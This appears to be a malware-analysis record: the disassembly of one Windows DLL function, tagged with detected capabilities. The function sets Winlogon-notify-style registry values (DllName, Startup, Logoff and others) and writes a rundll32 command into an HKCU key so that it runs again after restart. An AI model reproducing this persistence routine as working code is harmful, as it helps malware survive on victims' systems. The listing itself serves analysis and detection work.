Function at 0x1002d826
Capabilities:
Persist via run registry key
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
lea ebp, [esp - 0x5a8]
sub esp, 0x628
mov eax, dword [0x10084500]
push ebx
xor ebx, ebx
mov dword [ebp + 0x5a4], eax
mov byte [ebp - 0x79], bl
call fcn.1001e3c3
test al, al
je 0x1002db64
push esi
push edi
mov edi, 0x104
push edi
lea eax, [ebp + 0x298]
push eax
push dword [0x10085db4]
mov byte [ebp + 0x298], bl
mov byte [ebp + 0x194], bl
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp + 0x194]
push eax
lea eax, [ebp + 0x298]
push eax
call fcn.1002b8d6
pop ecx
pop ecx
lea eax, [ebp + 0x298]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [ebp + 0x298]
push eax
call fcn.1002d398
pop ecx
pop ecx
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x78]
push eax
push ebx
push ebx
push str.Asynchronous
push ebx
mov dword [ebp - 0x78], ebx
mov dword [ebp - 0x80], 4
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
jne 0x1002d8da
cmp dword [ebp - 0x78], 1
je 0x1002d8f2
push 4
lea eax, [ebp - 0x78]
push eax
push 4
push ebx
push str.Asynchronous
push ebx
mov dword [ebp - 0x78], 1
call esi
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp + 0x4a0]
push eax
push ebx
push ebx
push str.DllName
push ebx
mov dword [ebp - 0x80], edi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1002d92a
push dword [ebp + 0x5b0]
lea eax, [ebp + 0x4a0]
push eax
call fcn.10065dcd
test eax, eax
pop ecx
pop ecx
je 0x1002d949
push dword [ebp + 0x5b0]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
push dword [ebp + 0x5b0]
push 1
push ebx
push str.DllName
push ebx
call esi
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x78]
push eax
push ebx
push ebx
push str.Impersonate
push ebx
mov dword [ebp - 0x80], 4
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1002d96f
cmp dword [ebp - 0x78], ebx
je 0x1002d983
push 4
lea eax, [ebp - 0x78]
push eax
push 4
push ebx
push str.Impersonate
push ebx
mov dword [ebp - 0x78], ebx
call esi
push edi
lea eax, [ebp + 0x4a0]
push ebx
push eax
call fcn.10056960
add esp, 0xc
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp + 0x4a0]
push eax
push ebx
push ebx
push str.Startup
push ebx
mov dword [ebp - 0x80], edi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1002d9cb
lea eax, [ebp + 0x4a0]
push 0x1006f640
push eax
call fcn.10065dcd
test eax, eax
pop ecx
pop ecx
je 0x1002d9e8
push 0x1006f640
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
push 0x1006f640
push 1
push ebx
push str.Startup
push ebx
call esi
push edi
lea eax, [ebp + 0x4a0]
push ebx
push eax
call fcn.10056960
add esp, 0xc
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp + 0x4a0]
push eax
push ebx
push ebx
push str.Logoff
push ebx
mov dword [ebp - 0x80], edi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
mov edi, 0x1006f644
jne 0x1002da31
lea eax, [ebp + 0x4a0]
push edi
push eax
call fcn.10065dcd
test eax, eax
pop ecx
pop ecx
je 0x1002da46
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
push edi
push 1
push ebx
push str.Logoff
push ebx
call esi
cmp dword [0x10083d60], ebx
mov byte [ebp - 0x79], 1
jne 0x1002db62
xor eax, eax
mov byte [ebp + 0x39c], bl
mov ecx, 0x81
lea edi, [ebp + 0x39d]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp + 0x39c]
push str.rundll32.exe
push eax
mov dword [ebp - 0x78], ebx
call fcn.10057da0
lea eax, [ebp + 0x39c]
push 0x1006cff4
push eax
call fcn.10057db0
push dword [ebp + 0x5b0]
lea eax, [ebp + 0x39c]
push eax
call fcn.10057db0
lea eax, [ebp + 0x39c]
push 0x1006ef0c
push eax
call fcn.10057db0
add esp, 0x20
lea eax, [ebp - 0x78]
push eax
push 0x1006f5dc
mov edi, 0x80000001
push edi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x1002db23
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x80]
push eax
push ebx
mov edi, str.cmds
push edi
push dword [ebp - 0x78]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1002db08
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp + 0x39c]
push eax
call fcn.10059e80
test eax, eax
pop ecx
pop ecx
je 0x1002db59
lea eax, [ebp + 0x39c]
push eax
call fcn.10056d60
pop ecx
push eax
lea eax, [ebp + 0x39c]
push eax
push 1
push ebx
push edi
jmp 0x1002db54
lea eax, [ebp - 0x78]
push eax
push 0x1006f5dc
push edi
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x1002db62
lea eax, [ebp + 0x39c]
push eax
call fcn.10056d60
pop ecx
push eax
lea eax, [ebp + 0x39c]
push eax
push 1
push ebx
push str.cmds
push dword [ebp - 0x78]
call esi
push dword [ebp - 0x78]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
push dword [ebp + 0x5b0]
call fcn.1002d5b9
mov al, byte [ebp - 0x79]
pop ecx
mov ecx, dword [ebp + 0x5a4]
pop ebx
call fcn.100568ae
add ebp, 0x5a8
leave
ret